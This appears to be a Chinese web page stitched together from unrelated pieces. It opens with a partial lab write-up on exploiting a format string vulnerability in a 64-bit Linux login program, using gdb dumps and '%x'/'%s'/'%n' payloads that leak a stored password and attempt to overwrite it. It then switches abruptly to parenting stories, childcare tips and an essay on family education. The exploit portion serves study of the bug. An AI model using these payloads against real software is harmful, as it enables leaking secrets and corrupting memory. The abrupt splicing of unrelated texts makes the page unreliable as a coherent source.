从diassemble pout可以看出，刚入栈的0x00000000004005d1是call printf的下一条指令，即函数返回后执行的地址 rip+1 ; push rip (gdb) x/20xg $rsp0x7fffffffe308: 0x00000000004005d1 0x00007fffffffe4500x7fffffffe318: 0x00007fffffffe6df 0x00007fffffffe3500x7fffffffe328: 0x00000000004005fd 0x00007fffffffe4380x7fffffffe338: 0x00000002004004d0 0x00007fffffffe4300x7fffffffe348: 0x000000000040072c 0x00000000000000000x7fffffffe358: 0x00007ffff7a78c4d 0x00000000000000000x7fffffffe368: 0x00007fffffffe438 0x00000002000000000x7fffffffe378: 0x00000000004005d3 0x00000000000000000x7fffffffe388: 0xb4d76a842c69e9fe 0x00000000004004d00x7fffffffe398: 0x00007fffffffe430 0x0000000000000000(gdb) disassemble poutDump of assembler code for function pout:0x00000000004005b4 <+0>: push rbp0x00000000004005b5 <+1>: mov rbp,rsp0x00000000004005b8 <+4>: sub rsp,0x100x00000000004005bc <+8>: mov QWORD PTR [rbp-0x8],rdi0x00000000004005c0 <+12>: mov rax,QWORD PTR [rbp-0x8]0x00000000004005c4 <+16>: mov rdi,rax0x00000000004005c7 <+19>: mov eax,0x00x00000000004005cc <+24>: call 0x400490 0x00000000004005d1 <+29>: leave 0x00000000004005d2 <+30>: ret End of assembler dump. 17,查看寄存器值，因为在64位的linux中是首先利用寄存器传参数的， (gdb) info registers rax 0x0 0rbx 0x0 0rcx 0x0 0rdx 0x7fffffffe450 140737488348240rsi 0x7fffffffe438 140737488348216rdi 0x7fffffffe6df 140737488348895rbp 0x7fffffffe320 0x7fffffffe320rsp 0x7fffffffe308 0x7fffffffe308r8 0x7ffff7dd8300 140737351877376r9 0x7ffff7dec250 140737351959120r10 0x7fffffffe0b0 140737488347312r11 0x7ffff7aaa5c0 140737348543936r12 0x4004d0 4195536r13 0x7fffffffe430 140737488348208r14 0x0 0r15 0x0 0rip 0x7ffff7aaa5c0 0x7ffff7aaa5c0 eflags 0x202 [ IF ]cs 0x33 51ss 0x2b 43ds 0x0 0es 0x0 0fs 0x0 0---Type 18,输出结果： (gdb) continue Continuing.AAAffffe438ffffe4500f7dd8300f7dec250ffffe450ffffe6dfffffe3504005fdLogin FailedProgram exited with code 016. 19,结果分析 AAA ffffe438 ffffe450 0 f7dd8300 f7dec250 ffffe450 ffffe6df ffffe350 4005fd rsi rdx rcx r8 r9 zhan return address of pout in main 这里做下说明，在linux 64bit 中，参数传递依次利用以下寄存器，而只有这六个寄存器用完还有更多参数时，才会使用栈，所以我们这次相当于利用了十个参数，故然会有四个参数在栈上。 $rdi $rsi $rdx $rcx $r8 $r9 (gdb) disassemble mainDump of assembler code for function main:0x00000000004005d3 <+0>: push rbp0x00000000004005d4 <+1>: mov rbp,rsp0x00000000004005d7 <+4>: sub rsp,0x200x00000000004005db <+8>: mov DWORD PTR [rbp-0x14],edi0x00000000004005de <+11>: mov QWORD PTR [rbp-0x20],rsi0x00000000004005e2 <+15>: mov QWORD PTR [rbp-0x8],0x40072c0x00000000004005ea <+23>: mov rax,QWORD PTR [rbp-0x20]0x00000000004005ee <+27>: add rax,0x80x00000000004005f2 <+31>: mov rax,QWORD PTR [rax]0x00000000004005f5 <+34>: mov rdi,rax0x00000000004005f8 <+37>: call 0x4005b4 0x00000000004005fd <+42>: mov rax,QWORD PTR [rbp-0x20]0x0000000000400601 <+46>: add rax,0x80x0000000000400605 <+50>: mov rdx,QWORD PTR [rax]0x0000000000400608 <+53>: mov rax,QWORD PTR [rbp-0x8]0x000000000040060c <+57>: mov rsi,rdx0x000000000040060f <+60>: mov rdi,rax 40072c = “MyPass” add 4 %x = 13%x 通过更多%x 是可以读取到40072c的，因为从栈上不难看出40072c并不远，第十三个%x参数即可读取 view source1 ./login AAA%x%x%x%x%x%x%x%x%x%x%x%x%x 结果： AAAffffe438ffffe4500f7dd8300f7dec250ffffe450ffffe6dfffffe3504005fdffffe4384004d0fffe43040072c 2 Login Failed 而 ./login AAA%x%x%x%x%x%x%x%x%x%x%x%x%s 结果： AAAffffe438ffffe4500f7dd8300f7dec250ffffe450ffffe6dfffffe3504005fdffffe4384004d0fffe430MyPass 2 Login Failed 最后至于说利用%n，将这字符长度写入那个地址，这样就可以修改这个密码，但在实验时，发现无法修改。 view source1 root@bt:~/code/c# ./login AAA%.200x%.300x%x%x%x%x%x%x%x%x%x%x%n 2 Segmentation fault 代码区的值不可以修改可以理解，内存属性，但这应该是指向数据区的，竟然也不可写，本来是实验最终是修改这个密码值的，而不仅仅是显示，至少现在还不知道如何写，所以暂时只能到此。 总结： 1,格式化漏洞可能存在函数：fprintf,sprintf,snprintf,vprintf,vfprintf,vsprintf,vsnprintf 2,gdb的使用 3,linux 64bit中函数调用中参数传递方式，先利用六个寄存器，再使用栈 4,格式化技巧： printf(XXX.XX%n,address) 会把串长度写入address指向的数据 %.200x 在显示前用0补齐200长度，这样就可以长度变长。 5,i like linux 【空间的价值】 故事发生在美国北部的一个小镇，这个小镇在新世纪的今天仍然保持着淳朴的民风和上个世纪的建筑格局，因而成为一个旅游怀旧的好地方。深知小镇发展根本的人们，尽自己的努力维护小镇的风貌，甚至换一片屋上的瓦也要经过全镇推举出来的长老会的审查。 随着时间的推移，到小镇来旅游的人越来越多，小镇的商业设施已不能满足游人的需要。有两个洞察这一商机的年轻人――约翰和杰克分别向长老会提出了申请：他们要在小镇上建一个超市，用来向人们提供日用品和旅游纪念品。 长老会经过反复磋商，终于同意了两个人的要求，但却附加了一个条件?那就是超市必须建在距离小镇十公里以外的地方，以免破坏小镇的格局。 约翰和杰克马上筹集资金，开始建造自己的超市，他们深知，要想赚到更多的钱，就必须想尽办法战胜对手。约翰曾到过一些大城市，了解规模对于一个超市的重要性，因此，他充分利用了长老会给予他的这块土地，建成了一所豪华的超市，并尽可能使店里货物种类更齐全。而杰克却只使用了土地的一半建成了自己的超市。当然，由于规模经营的关系，店里的货物远没有约翰的种类齐全。约翰暗自高兴?这次我可要赚大钱了。 事情的发展完全出乎约翰意料，两家超市同一天开张，经营状况却出现了一边倒的现象?大部分游客和小镇上的人都涌进了杰克的超市，而约翰这边却很萧条。尽管约翰使出了浑身解数，又是有奖销售，又是歌舞表演，最终也未能扭转自己破产的命运。 破产的约翰决定远走他乡，在临行前，他拜访了自己的对手，并对杰克说：“我承认我的失败，但我想知道，我究竟输在哪里?” 杰克微笑着对约翰说：“在经营超市的经验上，你比我强，所以你在那块土地上盖出了尽可能大的一个超市，但是，我亲爱的朋友，你忽略了一个重要的问题?这里距离游客的观光地――我们的小镇还有十公里的距离，所以，无论是观光的游客，还是返回的游客，甚至是小镇上的居民，他们都是驾车前来，所以，我为他们留出的那片空地――停车场，这使他们对我心存好感，而这也就成为了他们到我超市购物的基本理由。所谓与人方便，自己方便，那片空间的价值就在于此?” 【因品德而爱】 美国大多数的中小学，每学年都有一天是专门留给家长和老师会面的。这一天学生不用上课，老师与班上每一位学生的家长单独面谈。面谈时间约为三十分钟。其中，与女儿五年级的班主任第威夫人的一次面谈令我印象深刻。 第威夫人在大大地赞扬了女儿一番后把话题一转，说：“对于克莉斯蒂（女儿的英文名）这样优秀的学生，我的担心是如果有一天她的成绩报告单上不是那么漂亮了，有了一个甚至几个B，她会怎样去处理这个事情呢？” 我和先生对看了一眼，很有些被一语惊醒的样子。接着，她给我们讲了她自己亲身经历的故事：她的女儿曾经是个非常优秀的学生，门门功课都是A。可是上了高中后，由于功课越来越难和一些其他原因，成绩单上也有几个B了。女孩子无法承受自己在学习上不再是秀的事实，便想方设法寻找能让自己最出色的方面。 最后，她终于找到了——那就是节食。其结果当然可想而知。小姑娘差点儿连命都丢掉了。幸亏父母发现得早，药物治疗加上心理治疗，千辛万苦地总算把她给救过来了。 第威夫人说：“我把这个故事告诉你们，是希望它不要重演。我像爱自己的孩子一样爱你们的孩子。我的希望就是她能身心健康地成长。这是一个教育者的心愿。” 她给我们讲解了她的打算，并说在实行这个计划之前需要得到我们的允许：她准备有意给克莉斯蒂增加学习和考题难度，让她的成绩单上至少有一两个B。她要观察她的反应。她认为培养孩子承受挫折的能力与建立孩子的自信心是一样的重要。老师这样的尽心尽责，真是令我们感动，也令我们醒悟。 说实话，我们从来没有意识到这是一个问题，更别说认识到它的严重性了，倒是常常为女儿的好成绩喜形于色呢。 第威夫人有一段话让我们深受触动。她说：“时时要让孩子知道，我们爱他们，大家喜欢他们，是因为他们的品德，和他们的成绩单如何则是没有任何关系的。”曾几何时，我们利令智昏地把这直白浅显的人生道理给忘掉了呢？ 啊，我们喜欢一个人最重要的还是看他(她）善良与否，诚实与否，我们看重的还是一个人展现出来的品德。倘若培养出来的孩子不懂得去爱父母，不知道回报，只知索取，只享受成功的赞美和鼓励，看不到人生路途上的艰辛，不知道挫折和困难为何物，那他们的成绩单只能是一时的好，心里很是脆弱，最后走向反面。愿天下父母珍视孩子品德的培养！ 【鞋匠和他的儿子】 鞋匠是我们小区必不可少的人，他修的鞋既美观又舒适。 鞋匠不仅修鞋修得好，而且心地也很善良，很多孤残老人找他修鞋他都分文不取，他不是不需要那几元钱，而是不忍心。他也因此成为物业管理公司特许在小区围墙内经营的小摊。那些收破烂卖盒饭刷皮鞋的外地人对他的羡慕一点也不亚于我们对彩票大奖得主的羡慕，都说他运气好。 然而，他的运气并不像人们所羡慕的那么好。他的妻子，那位和他自由相爱不成而一道私奔出来的乡下女子在为他生下一个儿子之后很不情愿地离开了这个世界。她的离去，也带走了那个爱一面哼歌一面补鞋的鞋匠，而代之以一个只埋头干活的机器，很长一段时间，他甚至一整天也不抬头，因为他知道，无论哪个方向都不会再有那个挎饭篮的女人了。 惟一能让他看到妻子影子的，便只有他们的儿子了。这小家伙似乎有穷家孩子懂事早的天份，每天都安然睡在补鞋挑子里，只在饿急了的时候才小猫一样轻哭两声。每当这个时候，鞋匠就会从怀里取出奶瓶，把带着体温的米糊放进那小鸟一样的口中。小区的婆婆奶奶们看到这幅景象，纷纷回家，把孙儿们不吃的奶粉和不用的衣物找出来给了他。家中有婴儿的人家，甚至还给他送来自家孩子消化不完的母乳。 天可怜的小家伙吃着百家的奶居然一天天长大了起来。鞋匠却并不因此就有所松懈，他对儿子的关心更进了一层。冬天水冷，他用嘴含温了才给儿子喝。没人给他们送饭，每顿的冷饭，他都是先嚼暖了才喂给儿子吃。保安们看他可怜，就送了他一个煤油炉，特许他在小区里点火。这事，连最不好说话的保安主任也没反对。 儿子是鞋匠的欢乐，只有儿子咯咯笑的时候，人们才能看到鞋匠笑，他二十几岁的脸居然比四十岁还沧桑。 日子过得很快，转眼间儿子就5岁了。5岁的儿子很懂事也很听话，能帮父亲递钉子锤子或抹鞋上的灰尘，干起活来居然很老练，惹得过路的人们都跟鞋匠开玩笑说：哟，你真有福气，都有接班人了。 鞋匠听了这话，像被人点了穴一样，半天不动一下。之后，他就开始留心关于学校的事，每有人来补鞋，他便要向人打听小孩上学的事。越听，越没有信心，越听，越觉得可怕。城里的人们说：我们有城市户口，娃儿读书都贵得吓人，你么…… 5岁的娃娃即将到来的读书问题使鞋匠像嗅到冬天气息的松鼠那样充满了紧迫感。但他为孩子找读书的机会显然比松鼠找松果难得多，鞋匠因此显得更加绝望，整天神不守舍。有一天甚至还发生了历史性的差错，将刘大爷的鞋送给了张大妈而又将陈先生拿来上线的鞋钉上了铁掌。 几天后，小区里流传出一个消息，说鞋匠要将儿子送出去，什么条件也不要，只要对方是有文化的人家。大伙起初不相信，去问鞋匠，鞋匠点头说是，他无论如何也不想让儿子像自己这么活。 有几对无儿女的中年夫妇来找他，他问过对方的职业之后，摇摇头，就不再说什么了。后来，有一个工程师来找他，他想了半天，把孩子使劲抱在怀中一回之后，就同意了。工程师给他五千元钱，他没要。 鞋匠又开始埋头补鞋。儿子常穿件新衣服来摊边，照样递锤子抹鞋子。每当这时，他总会挥手让他走。儿子不走，他就举手吓他。吓也吓不走。终于有一天，他发火了，抱起孩子，狠狠地打了他一顿。这是这个苦孩子在这个世界上挨的第一顿打。 从此，孩子再没敢在鞋匠面前出现。只远远地躲在远处看他。工程师夫妇于心不忍，就来找鞋匠说：这事……还是算了吧。鞋匠一听，就急了，又是摇头又是摆手，说一定会有办法的，会有办法的。 第二天一早，鞋匠就和他的鞋摊一起消失了。小区再没有了鞋摊，有几个外地鞋匠想进来填补空白，被保安们骂走了。保安都是乡下人，他们都说受不了鞋匠的儿子盯着鞋摊的眼神…… 幼儿家庭教育小知识 一、蹲下来和孩子说话 当你要对孩子说什么的时候，请试着蹲下来，让自己与孩子处在同一高度上，用你的手握住孩子的小手，用亲切的目光看着他，然后和颜悦色地对孩子说出你的要求。你是不是发现，用这样的方式对孩子说话，孩子同样听你的话，而且还会更开心地去执行你的“指示”，而且完成得更快更出色呢？ 二、保护孩子的自尊心 当着生人和外人的面教训孩子最容易伤害孩子的自尊心。其实，小孩子的领悟能力相当强，当你不想让他做某事时，只要轻轻地摇摇头，或悄悄地对孩子瞪瞪眼睛，他就会明白的，完全没有必要大声说出来。如果你还是不放心，也可以在出门前和孩子达成默契，就当是你们之之间的秘密：“如果你看见爸爸摇头，那就说明不能那么做；如果爸爸点头，那就是同意了。” 三、尊重孩子的独立意识 随着孩子逐渐长大，他的自主意识也会随之增长。你喂他吃饭时他说“我自己吃”，你帮他穿衣时，他说“我自己穿”，可能他会弄得满身是饭，可能他会把衣服穿得一团糟，但我们不要打击你的兴致，而要信任他，鼓励他，给他学习的机会，否则孩子将永远不会“长大”。 四、适时调整关爱的方式 随着孩子年龄的增长，要适当调整自己的关爱方式，不要把孩子当成永远长不大的人，事事都包办代替。我们可以利用一些好时机，对孩子提出新的要求，帮助他成长，这样不会压抑孩子的才智。例如，当孩子过两岁生日时，你可以对孩子说：“宝宝又长大一岁了，从明天开始就要自己刷牙洗脸了”；又如，当准备送孩子上幼儿园之前，你可以对孩子说：“宝宝下个月就要上幼儿园了，从现在开始要自己一个人睡觉，学会盖好被子。” 五、相互间多多交流 不要只是一味想知道孩子的各种想法，也应该把你的`想法告诉孩子，比如，爸爸上班时做什么工作，妈妈平时喜欢吃什么，爸爸妈妈对宝宝什么表现感到很高兴等等。对孩子敞开你的心扉，孩子也会同样对待你，交流的问题解决了，父母和孩子相互之间就有了默契，这对孩子的成长有裨益 六、宝宝自己的事情自己做。 很多父母喜欢帮宝宝提前做好各种事情，认为这是在减少宝宝不必要的麻烦，好让宝贝有根多的时间做其他的事。殊不知，这却是在制造麻烦，首先我们剥夺了宝宝动手的能力，其次我们强化了宝宝的依赖性，以至于以后宝宝什么事情都要我们做的时候，我们又不耐烦。所以，父母应该努力培养宝宝自己事情自己做的意识，让宝宝能够做一些力所能及的事。 七、不要对宝宝干涉太多。 我们经常用成人的眼光来看待宝宝的行为，并喜欢进行“指导”。干涉的太多只会让宝宝反感、不安、烦躁，最后就是放弃。其实我觉得这个很容易做到，就是宝宝在专心的干事情的时候，我们只需要安静的在旁边待着就行，直到宝宝需要你。让宝宝做自己想做的事情，更能培养宝宝的自主性。 八、学会理解宝宝的想法。 我们都知道一句话——“理解是相互的”，在教育宝宝时，也是一样的。在宝宝成长的过程中，有时候并不能清楚的表达自己的意愿和需求，这就需要家长的理解了。理解宝宝的初衷，理解宝宝的想法，反过来宝宝也会给你以回报，这不仅仅能够促进宝宝语言能力的形成，更能够促进父母与孩子之间的亲密关系。 关于家庭教育的小论文 关于家庭教育的小论文 俗话说：“可怜天下父母心。”普天下的父母都热切地望子成龙，望女成凤，如果教育方法不当，结果往往令人失望，令人痛心。那么我们如何真正去关心爱护儿女，对孩子的一生负责呢？这就需要我们掌握科学的教育方法，给孩子一个成长的支点。 一、了解孩子 1.了解孩子的需要 了解孩子是教育孩子的前提。对于即将从幼儿园升入小学的孩子来说，他们面临着角色转换的挑战。这时，父母要了解孩子真正需要的是什么，要满足孩子的合理需要，制止不合理的需要，帮助孩子形成新的需要。 2.了解孩子的思维环 （1）消极因素 好多家长常常因为孩子没有达到自己的预期目标对孩子发牢骚，导致孩子在心里产生的想法是：父母不喜欢我；当孩子有了这种想法，他们的感受就是愤怒、敌对；在行为上就会更不听话，甚至搞些小破坏。所以，结果又是受到惩罚或冷对，因而更加深了父母不喜欢他的想法，这种恶性循环就形成了孩子失败、反抗等消极因素。 （2）积极因素 父母创设一种愉快的生活环境（包括物质环境和精神环境），让孩子经常处于愉快的'情绪状态，孩子产生的想法是：父母喜欢我；有了这种想法他们的感受就是快乐、幸福的；在行为上就会配合家长，也表现得很听话。所以，结果是受到家长的表扬和鼓励，有了鼓励就有了动力，这种积极的循环是孩子迈向成功的关键。 二、尊重孩子 尊重孩子是成就孩子的基础。给孩子足够的尊重能让孩子得到健康发展。 1.尊重孩子的人格 父母要给孩子面子，学会变通，尤其是人多的时候，不要批评孩子，不要议论孩子。 2.尊重孩子的隐私 父母不要总是希望控制孩子的一举一动，要真正了解孩子，必须首先给予孩子尊重。很多父母总是抱着传统的观念，把父母摆在权威的角色。孩子应该有自己的秘密。父母进入孩子房间应该先敲门，移动或用孩子的东西应该得到他的允许，任何牵涉孩子的决定应该先和他商谈，不要随意翻看孩子的日记，应该尊重孩子的所有权，把他当一个成人一样尊重。 3.唤醒孩子的权利意识 父母的责任是唤醒孩子的权利意识，而不是将它扼杀在萌芽状态。一个明确自己权利的孩子才会懂得捍卫自己的权益。 三、理解孩子 理解孩子是成就孩子的保证。学会与孩子换位思考、沟通、交流，和他们交朋友，关注他们的心情，接纳他们的一切，这些必须是发自内心的、真诚的。说话也不能摆出家长的架子，如，当你的孩子回来时，你发现孩子又和别人打架了，作为家长，你一定不会高兴，但是这时，你还要同时想到，你是孩子的朋友，当你走过去的时候，你不能呵斥：“你怎么不好好学习，又和别人打架？”而应该拍拍他身上的灰，关切地问：“你怎么又被别人打了，伤到没有？别人打你你怎么不知道跑呢？”这样孩子才会更加信任你，才会愿意和你分享他的秘密，于是，你也就可以深入地了解孩子的内心世界。 四、读懂孩子 1.用孩子的思维去看待孩子 在家庭教育中，很多家长都会犯这样的错误，常常用自己的思维去看待孩子。比如，孩子在地上爬、滚，大人会说，不要这样会把衣服弄脏的，他不会知道这样的一句话会让孩子玩得不尽兴；孩子在家里翻箱倒柜，弄的家里到处乱糟糟，家长会问，你为什么要这样？怎么这么不听话？有的家长还会打骂孩子，结果孩子的探究能力没有了；过马路时，孩子提醒：“妈妈，红灯，不能过”，家长会说，“没关系，有急事要办，现在也没交通警察在。”这些都是用大人自己的思维方式去解决事情，家长不会站在孩子的思维角度里去想问题，有交警就遵守交通规则，没有交警在就不遵守，家长这样做就会教会孩子投机取巧。因此，不论何时，家长都应该站在孩子的角度去看、想问题，别用大人的思维去套牢孩子。 2.懂孩子比爱孩子更重要 著名女性情感心理作家苏芩说过这样一段话：“懂你的人，会用你所需要的方式去爱你。不懂你的人，会用他所需要的方式去爱你。于是，懂你的人，常是事半功倍，他爱得自如，你受得幸福；不懂你的人，常是事倍功半，他爱得吃力，你受得辛苦。两个人的世界里，懂比爱，更难做到。”懂得确实比爱更难做到！试想想，每一个家长都知道爱孩子，但是正如高尔基所说：“那是母鸡都会做的事情”，懂得如何去爱才是更重要的，这就源于我们的懂得。所以懂孩子比爱孩子更重要。 五、关心孩子 对孩子来说，父母的爱就如同孕育地球上所有生命的太阳和水那样重要。然而，如此重要的感情，也会有让人意想不到的“爱的误区”。 1.只关心孩子是否“吃得饱”，不关心孩子是否“过得好” “吃得饱”是一种物质上的满足，而“过得好”不仅包含了物质的需要而且包含了精神的需求。在竞争社会里，孩子所承受的压力比父辈大，竞争能力是社会适应能力的一个重要方面，人的精神也出现层次化和多样化，重视孩子“吃得饱”已远远不够，应让孩子学会“过得好”。 2.只关心孩子分数高不高，不关心孩子能力有多少 有的家长只关注孩子的分数，而把培养孩子的态度、意志、品质、责任感、敬业心、适应能力、劳动习惯、沉着冷静、善待挫折等品质忽略了，使孩子成为学习的“尖子”，人格上的“矮子”，严重影响了孩子的正常发展和社会生存能力。 一分耕耘，一分收获，孩子的教育也是如此。孩子的心灵是一块神奇的土地，播上思想的种子，就会获得行为的收获；播上行为的种子，就会获得习惯的收获；播上习惯的种子，就会收获品德的收获；播上品德的种子，就会获得命运的收获。以上是我本人在对孩子教育过程中的一点经验，当然这是不全面的，希望能和大家共勉。 参考文献： 叶莉.让幼儿在韵律活动中充分的表现自我［J］.科学大众：科学教育，2013（02）。 ★ 家庭教育小论文 ★ 家庭教育名言 ★ 家庭教育格言 ★ 家庭教育心得体会 ★ 家庭教育发言稿篇8：幼儿园家庭教育小故事
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